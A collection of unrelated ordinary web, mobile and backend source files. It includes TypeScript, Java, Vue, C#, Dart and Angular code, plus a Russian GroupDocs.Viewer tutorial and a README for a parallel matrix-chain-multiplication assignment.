import { Document, Mongoose, SchemaTimestampsConfig } from "mongoose" interface MongooseDoc extends Document, SchemaTimestampsConfig {} type Crown = "red" | "blue" type Lang = "en" | "ar" | "fr" type Status = "online" | "offline" type RelationShip = "single" | "margie" type RoomRole = "user" | "admin" | "creator" | "owner" type View = "public" | "private" | "country" // user type interface User extends MongooseDoc { name: string lastRequestTime: Date username: string email: string isOnline: boolean password: string purse: number role: "admin" | "user" | "merchant" | "super_admin" | "manager" | "top_user" color: { bgColor: string nameColor: string textColor: string } address: { city: string country: string ip: string } phoneNumber: string gender: "male" | "female" age: number crown: Crown invisible: { status: boolean canChangeIt: boolean expire: string } status: Status relationShip: RelationShip isBlocked: boolean idToShow: string profilePicture: string verify: boolean ImageRating: number vote: { votePurse: number voteGiftExpire: string } ImageSize: String comparePassword: (password: string) => Promise<boolean> } // room interface Room extends MongooseDoc { name: string creator: Object owner: Object admins: [ { user: Object } ] rank: number view: View lang: Lang country: string idToShow: string vote: { votePurse: number voteGiftExpire: string } } interface Conversation extends MongooseDoc { user: Object room: Object isBlocked: boolean crown: string } interface Message extends MongooseDoc { conversation: Object user: Object room: Object textColor: string text: string } interface privateMessage extends MongooseDoc { sender: Object receive: Object textColor: string text: string } interface messageToAdmin extends MongooseDoc { user: Object text: string } interface favoriteUser extends MongooseDoc { user: Object favoriteUser: Object } interface favoriteRooms extends MongooseDoc { user: Object favoriteRoom: Object } // type Collection = { // user: Object // rating: number // } interface Rating extends MongooseDoc { users: [ { user: Object ImageRating: number } ] } interface HistoryPurse extends MongooseDoc { user: Object purse: number type: "sub" | "add" receiver: Object typeSpend: string } interface News extends MongooseDoc { user: Object text: string expire: Date color: { bgColor: string textColor: string } isOneTime: boolean userIds: string[] } interface IgnoreUser extends MongooseDoc { user: Object ignoreUser: Object } interface InviteToRoom extends MongooseDoc { user: Object room: Object }
package tn.esprit.foyer.controllers; import lombok.AllArgsConstructor; import org.springframework.web.bind.annotation.*; import tn.esprit.foyer.entities.Chambre; import tn.esprit.foyer.entities.TypeChambre; import tn.esprit.foyer.services.IChambreService; import java.util.List; @RestController @AllArgsConstructor @RequestMapping("/chambre") public class ChambreRestController { IChambreService chambreService; // http://localhost:8089/foyer/chambre/retrieve-all-chambres @GetMapping("/retrieve-all-chambres") @ResponseBody public List<Chambre> getChambres() { List<Chambre> listChambres = chambreService.retrieveAllChambres(); return listChambres; } // http://localhost:8089/foyer/chambre/retrieve-chambre/8 @GetMapping("/retrieve-chambre/{chambreId}") @ResponseBody public Chambre retrieveChambre(@PathVariable("chambreId") Long chambreId) { return chambreService.retrieveChambre(chambreId); } // http://localhost:8089/foyer/chambre/add-chambre @PostMapping("/add-chambre") @ResponseBody public Chambre addChambre(@RequestBody Chambre c) { Chambre chambre= chambreService.addChambre(c); return chambre; } // http://localhost:8089/foyer/chambre/update-chambre @PutMapping("/update-chambre") @ResponseBody public Chambre updateChambre(@RequestBody Chambre c) { Chambre chambre= chambreService.updateChambre(c); return chambre; } // http://localhost:8089/foyer/chambre/removeChambre @DeleteMapping("/removeChambre/{idChambre}") @ResponseBody public void removeChambre(@PathVariable("idChambre") Long idChambre) { chambreService.removeChambre(idChambre); } // http://localhost:8089/foyer/chambre/findByTypeCAndBlocIdBloc/DOUBLE/1 @GetMapping("/findByTypeCAndBlocIdBloc/{typeChambre}/{idBloc}") @ResponseBody public List<Chambre> findByTypeCAndBlocIdBloc(@PathVariable("typeChambre") TypeChambre typeChambre,@PathVariable("idBloc") Long idBloc) { List<Chambre> listChambresByTypeCAndBlocIdBloc = chambreService.findByTypeCAndBlocIdBloc(typeChambre,idBloc); return listChambresByTypeCAndBlocIdBloc; } // http://localhost:8089/foyer/chambre/findByReservationsEstValid/true @GetMapping("/findByReservationsEstValid/{estValid}") @ResponseBody public List<Chambre> findByReservationsEstValid(@PathVariable("estValid") Boolean estValid) { List<Chambre> listChambresByReservationsEstValid = chambreService.findByReservationsEstValid(estValid); return listChambresByReservationsEstValid; } // http://localhost:8089/foyer/chambre/findByBlocIdBlocAndBlocCapaciteBloc/1/100 @GetMapping("/findByBlocIdBlocAndBlocCapaciteBloc/{idBloc}/{capaciteBloc}") @ResponseBody public List<Chambre> findByBlocIdBlocAndBlocCapaciteBloc(@PathVariable("idBloc") Long idBloc,@PathVariable("capaciteBloc") Long capaciteBloc) { List<Chambre> listChambresByTypeCAndBlocIdBloc = chambreService.findByBlocIdBlocAndBlocCapaciteBlocGreaterThan(idBloc,capaciteBloc); return listChambresByTypeCAndBlocIdBloc; } // http://localhost:8089/foyer/chambre/getChambresParNomBloc/A @GetMapping("/getChambresParNomBloc/{nomBloc}") @ResponseBody public List<Chambre> getChambresParNomBloc(@PathVariable("nomBloc") String nomBloc) { return chambreService.getChambresParNomBloc(nomBloc); } // http://localhost:8089/foyer/chambre/nbChambreParTypeEtBloc/DOUBLE/1 @GetMapping("/nbChambreParTypeEtBloc/{type}/{idBloc}") @ResponseBody public long nbChambreParTypeEtBloc(@PathVariable("type") TypeChambre type, @PathVariable("idBloc") long idBloc) { return chambreService.nbChambreParTypeEtBloc(type,idBloc); } // http://localhost:8089/foyer/chambre/getChambresNonReserveParNomFoyerEtTypeChambre/esprit foyer/SIMPLE @GetMapping("/getChambresNonReserveParNomFoyerEtTypeChambre/{nomFoyer}/{type}") @ResponseBody public List<Chambre> getChambresNonReserveParNomFoyerEtTypeChambre(@PathVariable("nomFoyer") String nomFoyer,@PathVariable("type") TypeChambre type) { return chambreService.getChambresNonReserveParNomFoyerEtTypeChambre(nomFoyer,type); } }
import {Container, Heading, Text} from '@chakra-ui/layout' import {Select} from '@chakra-ui/select' import React from 'react' import {atom, selectorFamily, useRecoilValue} from 'recoil' const userIdState = atom<number | undefined>({ key: 'userId', default: undefined, }) //@ts-ignore const userInfoSelector = selectorFamily({ key: 'userInfoSelector', get: (userId: {userId: string}) => async () => { const result = await fetch(`https://jsonplaceholder.typicode.com/users/${userId}`) const userInfo = await result.json() return userInfo }, }) //@ts-ignore function User({userId}) { const {name, phone} = useRecoilValue(userInfoSelector(userId)) return ( <React.Suspense fallback={<div>Loading...</div>}> <div> <Heading as="h2" size="md" mb={1}> User data: </Heading> <Text> <b>Name:</b> {name} </Text> <Text> <b>Phone:</b> {phone} </Text> </div> </React.Suspense> ) } export const Async = () => { // const [userId, setUserId] = useRecoilState(userIdState) const [userId, setUserId] = React.useState<number | undefined>() return ( <Container py={10}> <Heading as="h1" mb={4}> View Profile </Heading> <Heading as="h2" size="md" mb={1}> Choose a user: </Heading> <Select placeholder="Choose a user" mb={4} value={userId} onChange={(event) => { const value = event.target.value setUserId(value ? parseInt(value) : undefined) }} > <option value="1">User 1</option> <option value="2">User 2</option> <option value="3">User 3</option> </Select> {userId !== undefined && <User userId={userId} />} </Container> ) }
import { commaListsOr } from 'common-tags'; import { Exit } from 'flowTypes'; import { RenderNode } from 'store/flowContext'; const snapshot = require('jest-snapshot'); const matchers: jest.ExpectExtendMap = {}; interface MatchResult { message: () => string; pass: boolean; } function toBeUnique<T>(this: jest.MatcherUtils, received: any[]): MatchResult { const seen: { [value: string]: boolean } = {}; for (const item of received) { const stringified = JSON.stringify(item, null, 1); if (seen[stringified]) { return { message: () => `Duplicate item in array:\n${stringified}`, pass: false }; } else { seen[stringified] = true; } } return { message: () => 'Array is unique', pass: true }; } function toMatchCallSnapshot<T>( this: jest.MatcherUtils, received: any, snapshotName?: string ): MatchResult { return snapshot.toMatchSnapshot.call(this, received.mock.calls[0], snapshotName); } function toHaveInboundConnections<T>(this: jest.MatcherUtils, received: RenderNode): MatchResult { if (Object.keys(received.inboundConnections).length > 1) { return { message: () => `Node ${received.node.uuid} has an inbound connection`, pass: true }; } return { message: () => `Node ${received.node.uuid} has no inbound connections`, pass: false }; } function toHaveInboundFrom<T>( this: jest.MatcherUtils, received: RenderNode, expected: Exit ): MatchResult { for (const exitUUID of Object.keys(received.inboundConnections)) { if (exitUUID === expected.uuid) { return { message: () => `Node ${received.node.uuid} incorrectly has inbound from ${expected.uuid}`, pass: true }; } } return { message: () => `Node ${received.node.uuid} doesn't have inbound connection from ${expected.uuid}`, pass: false }; } function toPointTo<T>(this: jest.MatcherUtils, received: Exit, expected: RenderNode): MatchResult { if (received.destination_uuid === expected.node.uuid) { return { message: () => `${received.uuid} incorrectly points to ${expected.node.uuid}`, pass: true }; } return { message: () => `Expected ${received.uuid} to point to ${expected.node.uuid}`, pass: false }; } function toHaveExitWithDestination<T>(this: jest.MatcherUtils, received: RenderNode): MatchResult { for (const exit of received.node.exits) { if (exit.destination_uuid !== null) { return { message: () => `Exit ${exit.uuid} in node ${received.node.uuid} has a destination`, pass: true }; } } return { message: () => `All exits for ${received.node.uuid} are disconnected`, pass: false }; } function toHaveExitThatPointsTo<T>( this: jest.MatcherUtils, received: RenderNode, expected: RenderNode ): MatchResult { for (const exit of received.node.exits) { if (exit.destination_uuid === expected.node.uuid) { return { message: () => `${exit.uuid} incorrectly has exit that points to ${expected.node.uuid}`, pass: true }; } } return { message: () => `Expected ${received.node.uuid} to have an exit that points to ${expected.node.uuid}`, pass: false }; } function toHavePayload<T>( this: jest.MatcherUtils, store: any, actionType: string, expectedPayload: any ): MatchResult { const payload = JSON.stringify(expectedPayload); for (const actionTaken of store.getActions()) { if (actionTaken.type === actionType) { if (JSON.stringify(actionTaken.payload) === payload) { return { message: () => `Result contained action type ${actionType} with payload ${payload}`, pass: true }; } } } return { message: () => `Could not find action type ${actionType} with payload ${payload}`, pass: false }; } function toHaveReduxActions<T>( this: jest.MatcherUtils, store: any, actionTypes: string[] ): MatchResult { const missedTypes: any[] = []; for (const actionTaken of store.getActions()) { for (const actionType of actionTypes) { if (actionTaken.type === actionType) { return { message: () => `Result contained action type ${actionType}`, pass: true }; } else { missedTypes.push(actionType); } } } return { message: () => commaListsOr`Could not find action type(s): ${[...missedTypes]}`, pass: false }; } expect.extend({ toPointTo, toHaveExitThatPointsTo, toHaveInboundFrom, toHaveExitWithDestination, toHaveInboundConnections, toHavePayload, toHaveReduxActions, toMatchCallSnapshot, toBeUnique });
// nav bar script const navEl = document.querySelector('.nav'); const hamburgerEl = document.querySelector('.hamburger'); hamburgerEl.addEventListener('click', () => { toggleMenu(); }); document.addEventListener('click', (event) => { if (!isInsideMenu(event.target)) { closeMenu(); } }); window.addEventListener('scroll', () => { closeMenu(); }); function isInsideMenu(element) { return navEl.contains(element) || hamburgerEl.contains(element); } function closeMenu() { if (navEl.classList.contains('nav--open')) { navEl.classList.remove('nav--open'); hamburgerEl.classList.remove('hamburger--open'); } } function toggleMenu() { navEl.classList.toggle('nav--open'); hamburgerEl.classList.toggle('hamburger--open'); } // API url const url = 'https://bgg-json.azurewebsites.net'; // globals let games = []; let sortByYearAscending = true; let sortByNameAscending = true; let sortByRankAscending = true; let currentPage = 1; let cardsPerPage = 8 let likedGameIds = getLikedGames(); // On page load Liked Games and Hot Games displayLikedGames(); getHotGames(); // Main fetch function from API async function getHotGames() { const res = await fetch(`${url}/hot`); games = await res.json(); displayGames(currentPage); } // display API data for individual games function displayGames(page) { const gameContainer = document.querySelector('.hotgame-contain'); if (gameContainer) { gameContainer.innerHTML = ''; const startIndex = (page - 1) * cardsPerPage; const totalGames = games.length; for (let i = 0; i < cardsPerPage; i++) { const gameIndex = (startIndex + i) % totalGames; const gameId = games[gameIndex]["gameId"]; const isCurrentlyLiked = isGameLiked(gameId); const gameData = document.createElement('div'); gameData.className = 'results'; gameData.innerHTML = `<div class="card"> <div class="imgBox"> <img src="${games[gameIndex]["thumbnail"]}" alt="game photo" class="gamephoto"> </div> <div class="contentBox"> <h3>${games[gameIndex]["name"]}</h3><span class="favorite${isGameLiked(gameId) ? ' liked' : ''}" data-game-id="${gameId}"> <span class="heart-icon${isGameLiked(gameId) ? ' liked' : ''}">${isCurrentlyLiked ? '❤️' : '🤍'}</span> </span> <h3 class="year">${games[gameIndex]["yearPublished"]}</h3> <a href="game-details.html?gameId=${gameId}" class="learn">Learn More</a> </div> </div>`; gameContainer.appendChild(gameData); } } } // Code to handle the heart to toggle liked game document.removeEventListener('click', handleFavoriteClick); document.addEventListener('click', handleFavoriteClick); function handleFavoriteClick(event) { const favoriteElement = event.target.closest('.favorite'); if (favoriteElement) { event.preventDefault(); const heartIcon = favoriteElement.querySelector('.heart-icon'); const gameId = favoriteElement.getAttribute('data-game-id'); const isLiked = favoriteElement.classList.contains('liked'); if (!isLiked) { addGameToFavorites(gameId); favoriteElement.classList.add('liked'); heartIcon.textContent = '❤️'; console.log('red'); } else { removeGameFromFavorites(gameId); favoriteElement.classList.remove('liked'); heartIcon.textContent = '🤍'; console.log('white'); } } } function isGameLiked(gameId) { return likedGameIds.includes(gameId.toString()); }; function getLikedGames() { const likedGames = localStorage.getItem('likedGames'); return likedGames ? JSON.parse(likedGames) : []; }; function addGameToFavorites(gameId) { if (isGameLiked(gameId) === false) { likedGameIds.push(gameId); localStorage.setItem('likedGames', JSON.stringify(likedGameIds)); } displayLikedGames(); } function removeGameFromFavorites(gameId) { const index = likedGameIds.indexOf(gameId); if (index !== -1) { likedGameIds.splice(index, 1); localStorage.setItem('likedGames', JSON.stringify(likedGameIds)); } displayLikedGames(); } // Display Liked Games in library async function displayLikedGames() { const likedGamesContainer = document.getElementsByClassName('likedGamesContainer')[0]; if (likedGamesContainer) { likedGamesContainer.innerHTML = ''; const likedGames = getLikedGames(); for (const gameId of likedGames) { const gameData = await fetchGameDetails(gameId); if (gameData) { const isCurrentlyLiked = isGameLiked(gameId); const gameElement = document.createElement('div'); gameElement.className = 'liked-game'; gameElement.innerHTML = ` <div class="liked-game-info"> <div id="likedThumbnail"> <img src="${gameData.thumbnail}" alt="Game Thumbnail" class="liked-game-thumbnail"> </div> <div id="liked-game-other"> <h3>${gameData.name}</h3> <div class="liked-page-heart"><span class="favorite${isGameLiked(gameId) ? ' liked' : ''}" data-game-id="${gameId}"> <span class="heart-icon${isGameLiked(gameId) ? ' liked' : ''}">${isCurrentlyLiked ? '❤️' : '🤍'}</span> </span></div> <a href="game-details.html?gameId=${gameId}" class="learn-liked">Learn More</a> </div> </div>`; likedGamesContainer.appendChild(gameElement); } } } } // Fetch the details for the liked game async function fetchGameDetails(gameId) { const apiUrl = `${url}/thing/${gameId}`; try { const res = await fetch(apiUrl); if (res.ok) { const gameDetails = await res.json(); return gameDetails; } else { console.error('Failed to fetch game details'); return null; } } catch (error) { console.error('An error occurred while fetching game details:', error); return null; } }
<template> <div class="bg-white px-2 py-2"> <h2 class="font-semibold">Organization Details</h2> <div class="" v-if=" getIsAccOwner || getAccOwnerOrganisationInformationPrivileges.viewInformation " > <section class="grid grid-cols-12 row-gap-10 gap-10 bg-white p-6 font-normal rounded" > <div class="col-span-6 grid grid-cols-12"> <div class="col-span-5 font-medium">Type of Company:</div> <div class="col-span-7"> {{ forkName(orgProfile.type, companyTypes, "slug") }} </div> </div> <div class="col-span-6 grid grid-cols-12"> <div class="col-span-5 font-medium">Registration Number:</div> <div class="col-span-7">{{ orgProfile.rcNumber }}</div> </div> <div class="col-span-6 grid grid-cols-12"> <div class="col-span-5 font-medium">Email Address:</div> <div class="col-span-7">{{ orgProfile.email }}</div> </div> <div class="col-span-6 grid grid-cols-12"> <div class="col-span-5 font-medium">Contact Number:</div> <div class="col-span-7">{{ orgProfile.phoneNo }}</div> </div> <div class="col-span-6 grid grid-cols-12"> <div class="col-span-5 font-medium">Industry:</div> <div class="col-span-7"> <!-- {{ orgProfile.industry.name | truncate(30) }} --> {{ industrySector | truncate(30) }} </div> </div> <div class="col-span-6 grid grid-cols-12"> <div class="col-span-5 font-medium"> Specialization{{ specializations.length ? "s" : "" }}: </div> <div class="col-span-7">{{ specializations.length }}</div> </div> <div class="col-span-6 grid grid-cols-12"> <div class="col-span-5 font-medium">Country:</div> <div class="col-span-7"> {{ forkName(orgLocation.country, countries) }} </div> </div> <div class="col-span-6 grid grid-cols-12"> <div class="col-span-5 font-medium">State:</div> <div class="col-span-7"> {{ forkName(orgLocation.state, states) }} </div> </div> <div class="col-span-6 grid grid-cols-12"> <div class="col-span-5 font-medium">City:</div> <div class="col-span-7">{{ orgLocation.city }}</div> </div> <div class="col-span-6 grid grid-cols-12"> <div class="col-span-5 font-medium">Address:</div> <div class="col-span-7">{{ orgLocation.address }}</div> </div> <div class="col-span-6 grid grid-cols-12"> <div class="col-span-5 font-medium">Website:</div> <div class="col-span-7">{{ orgProfile.website }}</div> </div> <div class="col-span-6 grid grid-cols-12"> <div class="col-span-5 font-medium">Business Coverage:</div> <div class="col-span-7">{{ orgProfile.businessCoverage }}</div> </div> <div class="col-span-6 grid grid-cols-12"> <div class="col-span-5 font-medium">Time Zone:</div> <div class="col-span-7">{{ orgProfile.timeZone }}</div> </div> <div class="col-span-6 grid grid-cols-12"> <div class="col-span-5 font-medium">Language:</div> <div class="col-span-7">{{ orgProfile.language }}</div> </div> <div class="col-span-12 mt-10"> <s-button class="px-8 bg-primary-optima-color text-white" @click="$emit('editable')" > Update </s-button> </div> <s-content-seperator /> </section> </div> <div v-else> <s-privilege /> </div> </div> </template> <script> import { forkName } from "@/utils/helpers"; import { mapGetters } from "vuex"; export default { name: "AccountProfileOrgProfileView", props: { orgProfile: Object, orgLocation: Object, companyTypes: Array, countries: Array, states: Array, specializations: Array, }, methods: { forkName }, computed: { ...mapGetters("auth/roles", [ "getIsAccOwner", "getAccOwnerRootAdminPrivileges", "getAccOwnerOrganisationInformationPrivileges", ]), // eslint-disable-next-line vue/return-in-computed-property industrySector() { // disable vue/return-in-computed-property // eslint-disable-next-line vue/return-in-computed-property if (this.orgProfile.industry === null) { // eslint-disable-next-line no-undef // eslint-disable-next-line vue/return-in-computed-property return "N/A"; } else { // eslint-disable-next-line no-undef // eslint-disable-next-line vue/return-in-computed-property return this.orgProfile.industry.name; } }, }, }; </script> <style></style>
using AutoRest.Context.Contracts.Models; namespace AutoRest.Repositories.Contracts { /// <summary> /// Репозиторий чтения <see cref="LoyaltyCard"/> /// </summary> public interface ILoyaltyCardReadRepository { /// <summary> /// Получить список всех <see cref="LoyaltyCard"/> /// </summary> Task<IReadOnlyCollection<LoyaltyCard>> GetAllAsync(CancellationToken cancellationToken); /// <summary> /// Получить <see cref="LoyaltyCard"/> по идентификатору /// </summary> Task<LoyaltyCard?> GetByIdAsync(Guid id, CancellationToken cancellationToken); /// <summary> /// Получить список <see cref="LoyaltyCard"/> по идентификаторам /// </summary> Task<Dictionary<Guid, LoyaltyCard>> GetByIdsAsync(IEnumerable<Guid> ids, CancellationToken cancellationToken); /// <summary> /// Узнать существует ли <see cref="LoyaltyCard"/> с таким номером /// </summary> Task<bool> AnyByNumberAsync(string number, CancellationToken cancellationToken); } }
--- title: Настройка размера страницы при отображении сообщений электронной почты linktitle: Настройка размера страницы при отображении сообщений электронной почты second_title: GroupDocs.Viewer .NET API description: Узнайте, как настроить размер страницы при преобразовании сообщений электронной почты в PDF с помощью GroupDocs.Viewer для .NET. Повысьте эффективность просмотра документов. type: docs weight: 10 url: /ru/net/rendering-email-messages/adjust-page-size-email/ --- ## Введение В области разработки .NET GroupDocs.Viewer предоставляет комплексное решение для отображения различных форматов документов, включая сообщения электронной почты. В этом руководстве основное внимание уделяется настройке размера страницы при преобразовании сообщений электронной почты в формат PDF с помощью GroupDocs.Viewer для .NET. Выполнив шаги, описанные в этом руководстве, вы научитесь легко изменять размер страницы в соответствии с вашими конкретными требованиями. ## Предварительные условия Прежде чем приступить к изучению этого руководства, убедитесь, что у вас есть следующие предварительные условия: ### 1. Установлен GroupDocs.Viewer для .NET. Убедитесь, что в вашей среде разработки установлен GroupDocs.Viewer для .NET. Вы можете скачать его с[здесь](https://releases.groupdocs.com/viewer/net/). ### 2. Базовое понимание разработки .NET. Ознакомьтесь с основами разработки .NET, включая программирование на C# и обработку файлов. ### 3. IDE (интегрированная среда разработки). Установите IDE, например Visual Studio, для написания и выполнения кода .NET. ## Импортировать пространства имен В проекте C# импортируйте необходимые пространства имен для использования функций GroupDocs.Viewer. ```csharp using System; using System.IO; using GroupDocs.Viewer.Options; ``` ## Шаг 1. Установите выходной каталог Определите каталог, в котором будет сохранен выходной PDF-файл. ```csharp string outputDirectory = "Your Document Directory"; ``` ## Шаг 2. Определите путь к файлу Объедините выходной каталог с именем выходного файла. ```csharp string filePath = Path.Combine(outputDirectory, "output.pdf"); ``` ## Шаг 3. Инициализация объекта просмотра Создайте экземпляр класса Viewer и укажите путь к файлу сообщения электронной почты. ```csharp using (Viewer viewer = new Viewer(TestFiles.SAMPLE_MSG)) ``` ## Шаг 4. Настройте параметры просмотра PDF-файлов Создайте экземпляр PdfViewOptions и установите путь к выходному файлу. ```csharp PdfViewOptions options = new PdfViewOptions(filePath); ``` ## Шаг 5. Отрегулируйте размер страницы Измените свойство размера страницы в EmailOptions файла PdfViewOptions. ```csharp options.EmailOptions.PageSize = PageSize.A4; ``` ## Шаг 6: Рендеринг документа Вызовите метод View объекта средства просмотра, передав настроенные параметры PdfViewOptions. ```csharp viewer.View(options); ``` ## Шаг 7: Отображение сообщения об успехе Сообщите пользователю об успешном рендеринге и выходном каталоге. ```csharp Console.WriteLine($"\nSource document rendered successfully.\nCheck output in {outputDirectory}."); ``` ## Заключение В заключение, в этом руководстве показано, как настроить размер страницы при преобразовании сообщений электронной почты в формат PDF с помощью GroupDocs.Viewer для .NET. Следуя этим пошаговым инструкциям, вы сможете эффективно манипулировать размерами страниц в соответствии с вашими конкретными требованиями, расширяя возможности просмотра документов и управления ими в ваших приложениях .NET. ## Часто задаваемые вопросы ### Совместим ли GroupDocs.Viewer с различными форматами сообщений электронной почты? GroupDocs.Viewer поддерживает обработку различных форматов сообщений электронной почты, включая MSG и EML. ### Могу ли я настроить размер страницы в соответствии со своими предпочтениями? Да, вы можете настроить размер страницы с помощью PdfViewOptions GroupDocs.Viewer, что обеспечивает гибкость при рендеринге документов. ### Обеспечивает ли GroupDocs.Viewer поддержку других форматов документов? Да, GroupDocs.Viewer поддерживает широкий спектр форматов документов, включая PDF, Microsoft Office, изображения и многое другое. ### Подходит ли GroupDocs.Viewer для приложений корпоративного уровня? Безусловно, GroupDocs.Viewer предлагает надежные функциональные возможности, подходящие как для небольших, так и для корпоративных приложений, обеспечивая эффективный рендеринг документов и управление ими. ### Где я могу получить помощь или дополнительную поддержку для GroupDocs.Viewer? Вы можете посетить форум GroupDocs.Viewer.[здесь](https://forum.groupdocs.com/c/viewer/9) обращаться за помощью, задавать вопросы и взаимодействовать с сообществом.
import { Injectable } from "@angular/core"; import { Router } from "@angular/router"; import { HttpBackend, HttpClient, HttpHeaders, HttpParams, } from "@angular/common/http"; import { Observable, of } from "rxjs"; import { OAuthStorage } from "angular-oauth2-oidc"; import { cloneValue, Environment, Hit, Organization, SearchResponse, } from "toco-lib"; import { Person } from "./person.entity"; /** * Represents the service that communicates with the backend for all issues * that refer to work with people. */ @Injectable({ providedIn: "root", }) export class PeopleService { private readonly _prefix = "people"; // _http: HttpClient; public constructor( private _env: Environment, private handler: HttpBackend, private oAuthStorage: OAuthStorage, private _http: HttpClient ) { { // this._http = new HttpClient(this.handler); } } /** * Constructs a `GET` request that interprets the body as a JSON object and returns * the response body in the `SearchResponse<Person>` type. * Returns a people group that follows a search criteria. * E.g.: lang=es&size=15&page=0&q=pinar%20del%20rio&country=Cuba&status=active * @param currentLang Language currently used as string. * The Spanish language is: 'es'. * The English language is: 'en'. * @return An `Observable` of the `HTTPResponse`, with a response body in the `SearchResponse<Person>` type. */ public getPeople(params: HttpParams): Observable<SearchResponse<Person>> { const options = { params: params, // headers: this.headers }; // console.log(params); const req = this._env.sceibaApi + "search/persons/"; // console.log(req); return this._http.get<SearchResponse<Person>>(req); } public getPeopleById(uuid: string): Observable<any> { const req = this._env.sceibaApi + "pid/persons/" + uuid; return this._http.get<SearchResponse<Person>>(req); } saveImport(org, file: File) { let token = this.oAuthStorage.getItem("access_token"); const formData = new FormData(); formData.append("file", file); console.log(file); const req = this._env.sceibaApi + "persons/import/" + org; // const headers = new HttpHeaders({ // enctype: "multipart/form-data", // "Content-Type": "multipart/form-data", // "Accept": "*/*", // // Authorization: "Bearer " + token, // "Access-Control-Allow-Origin": "*", // }); return this._http.post(req, formData); } }
import 'package:flutter/material.dart'; import 'package:my_fave_app/repositories/user/user_repository_impl.dart'; import 'package:my_fave_app/utils/utils.dart'; import 'package:my_fave_app/widgets/widget.dart'; import 'package:riverpod_annotation/riverpod_annotation.dart'; part 'create_user.g.dart'; @riverpod Future<void> createUser( CreateUserRef ref, { String? userName, DateTime? birthDay, String? gender, required VoidCallback onSuccess, }) async { final read = ref.read; final isNetworkCheck = await isNetworkConnected(); try { read(overlayLoadingWidgetProvider.notifier).update((state) => true); await read(userRepositoryImplProvider).createUser( userName: userName, birthDay: birthDay, gender: gender, ); onSuccess(); debugPrint('ユーザーを作成しました'); } on Exception catch (e) { if (!isNetworkCheck) { const exception = AppException( message: 'Maybe your network is disconnected. Please check yours.', ); throw exception; } debugPrint('ユーザー作成エラー: $e'); read(scaffoldMessengerServiceProvider) .showExceptionSnackBar('ユーザー作成に失敗しました'); } finally { read(overlayLoadingWidgetProvider.notifier).update((state) => false); } }
"use client" import React, {useState} from 'react'; // headless ui import {Menu} from '@headlessui/react' // icon import {FaCalendarAlt} from 'react-icons/fa'; import {FaArrowRightLong} from 'react-icons/fa6' //React date import { DateRange } from 'react-date-range'; import { format, addDays } from 'date-fns'; //React date range CSS import 'react-date-range/dist/styles.css'; import 'react-date-range/dist/theme/default.css'; export default function DateSelection() { const [date, setDate] = useState([ { startDate: new Date(), endDate: null, key: 'selection', }, ]); return ( <Menu as='div' className='w-full h-full flex xl:flex-row' > <div className='relative flex-1'> {/* btn */} <Menu.Button className='dropdown-btn w-full h-full flex flex-col justify-center items-center xl:items-start xl:pl-8' > <div className='w-full h-16 xl:h-full flex justify-center xl:justify-start xl:border-r xl:border-black/10 '> <div className='flex flex-col justify-center'> <div className='flex flex-col xl:flex-row items-center xl:gap-x-2 gap-y-2 xl:gap-y-0'> <FaCalendarAlt className='text-accent' /> <div className='text-[15px] uppercase font-bold '>Select Date</div> </div> </div> </div> <div className='flex items-center gap-x-3 xl:ml-6'> <div className='text-[13px] font-medium text-secondary '> {format(date[0].startDate, 'dd/MM/yyyy')} </div> <FaArrowRightLong className='text-accent text-[12px]'/> <div> {date[0].endDate ? ( <div>{format(date[0].endDate,'dd/MM/yyy')}</div> ):( <div>{format(date[0].startDate, 'dd/MM/yyyy')}</div> )} </div> </div> </Menu.Button> {/* items */} <Menu.Items className='dropdowm-menu shadow-lg absolute -top-96 xl:top-[90px] left-1/2 xl:left-0 z-50 transform-translate-x-1/2 xl:-translate-x-0 xl:text-left rounded-[10px] overflow-hidden'> <DateRange onChange={(item)=>setDate([item.selection])} editableDateInputs={true} moveRangeOnFirstSelection= {false} ranges={date} rangeColors={['#ed1d24']} minDate={addDays (new Date(), 0)} /> </Menu.Items> </div> </Menu> ); }
# Matrix Chain Multiplication Matrix Chain Multiplication (MCM) is the problem aimed to find the minimim scalar computation when multiple a chain of matrix. Denote that, if A\*B with A size d1\*d2 and B have size d2\*d3, so the computation scalar is d1\*d2\*d3. In general, we have chain M1\*M2\*...\*Mn which have the dimension of a sequence of matrices in an array arr[] length n+1, where the dimension of the i-th matrix is (arr[i-1] * arr[i]), the task is to find the most efficient way to multiply these matrices together such that the total number of element multiplications is minimum. This is the Assignment of **Parallel Computing** class, so we try to solve the problem with simple approach (recursion), dynamic programming approach with Memoization and Parallel approach that can be split the task into many threads. In this problem, we design a algorithm that can use the number of thread that restrict from 1 to n*(n-1)/2 for fasten the computation. The idea is based on paper **An Efficient Parallel Dynamic Programming Algorithm** - *D.TANG and G.GUPTA* ([link](https://core.ac.uk/download/pdf/81964986.pdf)) ## Authors **Quach Minh Tuan - Nguyen Hoai Thuong - Vo Anh Nguyen** ## Version 1.0.0 ## Requirements + `Python` >= 3.10.9 + `Pip` >= 23.0.1 ## Installation ### Clone our source code ```sh git clone https://github.com/nh0znoisung/MCM cd MCM ``` ### Install Dependencies ```sh pip install -r requirements.txt ``` ### Run program ```sh python main.py < sample.txt ``` ### Generate testcases ```sh python3 gen_testcase.py --path './' --nt 10 --lb 1 --ub 10 ``` + `--path`: The target path of testcae folder containing the testcase + `--nt`: The number of testcases we want to generate + `--lb`: The lowerbound of the dimension values in a testcase. Need to be an integer greater than 0 + `--ub`: The upperbound of the dimension values in a testcase **General format of a testcase** ```txt n a_1 a_2 a_3 ... a_n ``` + `n`: The number of dimensions in this testcase + `a_i`: The values of **i-th** dimensions. Threfore, the matrix `M_i` have the shape (`a_i`, `a_(i+1)`) ### Visualization ```sh python3 visualize_approach.py ``` ![alt text](visualization/3_compare.png)
import { NgModule } from '@angular/core'; import { RouterModule, Routes } from '@angular/router'; import { AllTransactionComponent } from './all-transaction/all-transaction.component'; import { ApplyLoanComponent } from './apply-loan/apply-loan.component'; import { HomeComponent } from './home/home.component'; import { LoginComponent } from './login/login.component'; import { SignupComponent } from './signup/signup.component'; import { UpdateProfileComponent } from './update-profile/update-profile.component'; const routes: Routes = [ {path:'login' , component : LoginComponent}, {path:'signup' , component : SignupComponent}, {path: 'home' , component : HomeComponent}, {path: 'update-profile' , component : UpdateProfileComponent}, {path: 'all-transaction' , component : AllTransactionComponent}, {path: 'apply-loan' , component : ApplyLoanComponent}, {path : '' , redirectTo : 'home' , pathMatch:'full'} , ]; @NgModule({ imports: [RouterModule.forRoot(routes)], exports: [RouterModule] }) export class AppRoutingModule { }
